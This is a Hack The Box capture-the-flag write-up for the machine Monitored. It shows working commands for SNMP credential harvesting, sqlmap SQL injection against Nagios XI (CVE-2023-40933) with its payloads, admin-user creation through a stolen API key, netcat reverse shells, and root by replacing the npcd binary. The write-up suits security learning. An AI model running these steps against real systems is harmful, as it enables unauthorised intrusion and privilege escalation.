Hello and welcome to another writeup for Hack The Box machine Monitored. This machine is rated medium and the user shell holds true to the rating. However, the root shell was pretty easy. I learnt a lot about authorisation tokens and API Keys so let's go!
Enumeration
As always, I start the enumeration process with an Nmap scan.
Nmap shows 4 open ports. Port 80 and 443 are web servers, 80 is used for HTTP and 443 is used for the secure version HTTPS. Port 22 is running SSH and port 389 is running LDAP. For further enumeration, I also ran a Nmap UDP scan. I also added the nagios.monitored.htb to my /etc/hosts file so my browser can redirect to this address.
This is where it gets interesting. UDP port 161 is running SNMP. We can get a lot of information about the host machine if SNMP is not configured properly. Let's run snmpwalk on the host and also look at the web server. I navigated to https://nagios.monitored.htb and found a link to the nagiosxi sub-directory. nagiosxi redirects me to the login page.
I tried some default credentials but it doesn't work. Let's fuzz for directories and see if we can find something interesting.
I found lots of interesting sub-directories. I first looked at the terminal but it again requires authentication. I then looked at admin, db etc but I don't have any username or password. Another interesting sub-directory is the api, if it is misconfigured I can leverage it to get more information. Let's fuzz the api sub-directory to find endpoints.
I found the authenticate endpoint. When trying to access this endpoint, it gives me an error message that I can only use POST requests with this.
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$curlhttps://nagios.monitored.htb/nagiosxi/api/v1/authenticate-k{"error":"You can only use POST with authenticate."}
So, I need some kind of authentication to send as data in the POST request. Meanwhile, snmpwalk is running in the background and it's giving me exactly what I need. As this machine is slow, I had to increase the retry and timeout count so snmpwalk can continue to fetch data.
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$snmpwalk-v1-cpublic10.10.11.248-r5-t20iso.3.6.1.2.1.1.1.0=STRING:"Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64"iso.3.6.1.2.1.1.2.0=OID:iso.3.6.1.4.1.8072.3.2.10iso.3.6.1.2.1.1.3.0=Timeticks: (18009) 0:03:00.09iso.3.6.1.2.1.1.4.0=STRING:"Me <root@monitored.htb>"iso.3.6.1.2.1.1.5.0=STRING:"monitored"iso.3.6.1.2.1.1.6.0=STRING:"Sitting on the Dock of the Bay"iso.3.6.1.2.1.1.7.0=INTEGER:72iso.3.6.1.2.1.1.8.0=Timeticks: (1578) 0:00:15.78iso.3.6.1.2.1.1.9.1.2.1=OID:iso.3.6.1.6.3.10.3.1.1iso.3.6.1.2.1.1.9.1.2.2=OID:iso.3.6.1.6.3.11.3.1.1iso.3.6.1.2.1.1.9.1.2.3=OID:iso.3.6.1.6.3.15.2.1.1iso.3.6.1.2.1.1.9.1.2.4=OID:iso.3.6.1.6.3.1iso.3.6.1.2.1.1.9.1.2.5=OID:iso.3.6.1.6.3.16.2.2.1iso.3.6.1.2.1.1.9.1.2.6=OID:iso.3.6.1.2.1.49iso.3.6.1.2.1.1.9.1.2.7=OID:iso.3.6.1.2.1.50iso.3.6.1.2.1.1.9.1.2.8=OID:iso.3.6.1.2.1.4iso.3.6.1.2.1.1.9.1.2.9=OID:iso.3.6.1.6.3.13.3.1.3iso.3.6.1.2.1.1.9.1.2.10=OID:iso.3.6.1.2.1.92iso.3.6.1.2.1.1.9.1.2.11=OID:iso.3.6.1.2.1.92iso.3.6.1.2.1.1.9.1.3.1=STRING:"The SNMP Management Architecture MIB."iso.3.6.1.2.1.1.9.1.3.2=STRING:"The MIB for Message Processing and Dispatching."iso.3.6.1.2.1.1.9.1.3.3=STRING:"The management information definitions for the SNMP User-based Security Model."iso.3.6.1.2.1.1.9.1.3.4=STRING:"The MIB module for SNMPv2 entities"iso.3.6.1.2.1.1.9.1.3.5=STRING:"View-based Access Control Model for SNMP."iso.3.6.1.2.1.1.9.1.3.6=STRING:"The MIB module for managing TCP implementations"iso.3.6.1.2.1.1.9.1.3.7=STRING:"The MIB module for managing UDP implementations"iso.3.6.1.2.1.1.9.1.3.8=STRING:"The MIB module for managing IP and ICMP implementations"iso.3.6.1.2.1.1.9.1.3.9=STRING:"The MIB modules for managing SNMP Notification, plus filtering."iso.3.6.1.2.1.1.9.1.3.10=STRING:"The MIB module for logging SNMP Notifications."iso.3.6.1.2.1.1.9.1.3.11=STRING:"The MIB module for logging SNMP Notifications."...SNIP...iso.3.6.1.2.1.25.4.2.1.5.473=STRING:"--config /etc/laurel/config.toml"iso.3.6.1.2.1.25.4.2.1.5.481=""iso.3.6.1.2.1.25.4.2.1.5.514=""iso.3.6.1.2.1.25.4.2.1.5.537=STRING:"-f"iso.3.6.1.2.1.25.4.2.1.5.538 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.546=STRING:"-n -iNONE"iso.3.6.1.2.1.25.4.2.1.5.547=""iso.3.6.1.2.1.25.4.2.1.5.549=STRING:"-f"iso.3.6.1.2.1.25.4.2.1.5.550=STRING:"-u -s -O /run/wpa_supplicant"iso.3.6.1.2.1.25.4.2.1.5.561 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.622 = STRING: "-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"
iso.3.6.1.2.1.25.4.2.1.5.697=""iso.3.6.1.2.1.25.4.2.1.5.698=""iso.3.6.1.2.1.25.4.2.1.5.742=STRING:"-f /usr/local/nagios/etc/pnp/npcd.cfg"iso.3.6.1.2.1.25.4.2.1.5.749=STRING:"-LOw -f -p /run/snmptrapd.pid"iso.3.6.1.2.1.25.4.2.1.5.767=STRING:"-p /var/run/ntpd.pid -g -u 108:116"iso.3.6.1.2.1.25.4.2.1.5.774 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
iso.3.6.1.2.1.25.4.2.1.5.783=""iso.3.6.1.2.1.25.4.2.1.5.785=STRING:"-o -p -- \\u --noclear tty1 linux"iso.3.6.1.2.1.25.4.2.1.5.820=STRING:"-k start"iso.3.6.1.2.1.25.4.2.1.5.822 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.825 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.829=STRING:"-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"iso.3.6.1.2.1.25.4.2.1.5.862 = STRING: "-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"
iso.3.6.1.2.1.25.4.2.1.5.886=""
I can see the password for user svc. Let's send this as a POST request to api/v1/authenticate. This took me some time because I had to figure out the exact command for POST data. I tried sending it as a json data but it didn't work. Finally, I tried username=username&password=password which worked!
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$ curl -k -L -d "username=svc&password=XjH7VCehowpR1xZB" -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate
{"username":"svc","user_id":"2","auth_token":"4ea4da56a740a8ea7f5877b40612f05c2148fe57","valid_min":5,"valid_until":"Wed, 31 Jan 2024 04:33:39 -0500"}
So, this gives me an auth_token. Now what do I do with this? I also tried to access other api endpoints but I received the error "No API Key provided". This means I have to get the API Key somehow.
I looked up vulnerabilities for Nagios XI and one of them gave me an answer. According to CVE-2023-40933, the upload_banner_message_settings function in Nagios XI is vulnerable to SQL Injection. So, let's try that.
Initial Foothold
This again was a lot tricky because I was trying to inject at the vulnerable id parameter. However, I was not using the auth_token. I wasted a lot of time here getting frustrated until finally I tried to use the token in the url and started getting some results.
Another time consuming fact, this machine was super slow. sqlmap was not getting any responses, so I increased the --level and --risk parameters.
โโโ(kaliใฟkali)-[~]โโ$ sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi --dump
___ __H__
___ ___[']_____ ___ ___ {1.8#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:57:33 /2024-01-31/[08:57:33] [INFO] testing connection to the target URLyou have not declared cookie(s), while server wants to set its own ('nagiosxi=pd83i8teja5...eerd4tfu69'). Do you want to use those [Y/n] Y
[08:57:40] [INFO] testing ifthetargetURLcontentisstable[08:57:42] [INFO] target URL content is stable[08:57:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possibleDBMS:'MySQL')[08:57:45] [INFO] testing for SQL injection on GET parameter 'id'itlooksliketheback-endDBMSis'MySQL'.DoyouwanttoskiptestpayloadsspecificforotherDBMSes? [Y/n] Y...SNIP...GETparameter'id'isvulnerable.Doyouwanttokeeptestingtheothers (if any)? [y/N] Nsqlmapidentifiedthefollowinginjectionpoint(s) withatotalof1003HTTP(s) requests:---Parameter:id (GET)Type:boolean-basedblindTitle:Boolean-basedblind-Parameterreplace (original value) Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (3787=3787) THEN 3 ELSE (SELECT 6360 UNION SELECT 8651) END))&token=b0f743bca3ed58cf7bd69619fe521ec70607a504
Type:error-basedTitle:MySQL>=5.0ORerror-based-WHERE,HAVING,ORDERBYorGROUPBYclause (FLOOR) Payload: action=acknowledge_banner_message&id=3 OR (SELECT 6831 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(6831=6831,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&token=b0f743bca3ed58cf7bd69619fe521ec70607a504
Type:time-basedblindTitle:MySQL>5.0.12ORtime-basedblind (heavy query) Payload: action=acknowledge_banner_message&id=3 OR 5803=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)&token=b0f743bca3ed58cf7bd69619fe521ec70607a504
I used the following resource to craft the token request.
And it worked! I dumped all tables from the nagios database and this gave me the xi_users table. Here, I find the API Key for nagiosadmin.
Wonderful! Now, let's try to leverage the API Key and get into that web server. I found a curl command to add new users to Nagios XI.
I created a user with this but it didn't give me admin level access. I went through Nagios documentation again and realised that I need to specify the auth_level for the user. I created another user and gave it the auth_level=admin.
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$ curl -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=user&password=test&name=admin&email=admin@kali.com&auth_level=admin" -k
{"success":"User account user was added successfully!","user_id":8}
Now, I try to login to the webserver with my newly created username, password and I'm in!
Getting User Shell
I looked around the web server and tried to exploit the NRDP vulnerability. But, this didn't work. After hours of trial and error I realised a simpler way was staring right at me. The Commands page under Core Config Manager. I first created a new bash command which gave me a reverse shell.
Then, I navigated to the Services page > Add new > Choose the newly created bash command. Then click on Run Check Command. Remember to listen on the specified port on your host machine.
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$nc-lvnp4444listeningon [any] 4444 ...connectto [10.10.14.71] from (UNKNOWN) [10.10.11.248] 50362bash:cannotsetterminalprocessgroup (209738): Inappropriate ioctl for devicebash:nojobcontrolinthisshellnagios@monitored:~$whoamiwhoaminagiosnagios@monitored:~$
[Hacker Voice] I'm in. Get the user flag from /home/nagios/user.txt.
Privilege Escalation
I transfered the linpeas script on Monitored from my host machine and executed it to get information about any misconfigurations. I also ran sudo -l which gave me much more interesting results.
I can run many scripts and manage services as root. Once again, I went down several rabbit holes looking at known CVEs but in vain. A major vulnerability belonged to the autodiscover_new.php but it never worked.
It did give me an idea though. One part of the PoC consisted of stopping and restarting a service with manage_services.sh. What if I can manipulate one of the services and restart it to give me a shell? As the CVE talked about the npcd service, I chose the same. I tried changing the $PATH variable to point towards the /tmp directory and created a malicious npcd file there. However, this did not work.
Then, I thought of an easier way. Let's delete the legitimate npcd file and create a new one. First I removed the npcd file with rm /usr/local/nagios/bin/npcd. Then I created a malicious npcd file which just contained a bash script for reverse shell. (This machine was pretty unstable so I created the file on my host machine and transferred it to Monitored with netcat)
Now, start the netcat listener on host machine and restart the npcd service.
โโโ(kaliใฟkali)-[~/htb/monitored]โโ$nc-lvnp1234listeningon [any] 1234 ...connectto [10.10.14.71] from (UNKNOWN) [10.10.11.248] 57156bash:cannotsetterminalprocessgroup (209504): Inappropriate ioctl for devicebash:nojobcontrolinthisshellroot@monitored:/#whoamiwhoamirootroot@monitored:/#
And, Monitored is pwned! Find the root flag under /root/root.txt. This was a very fun machine and I learnt a lot of things, especially about the Nagios XI service. Thank you for reading and I will see you in the next writeup.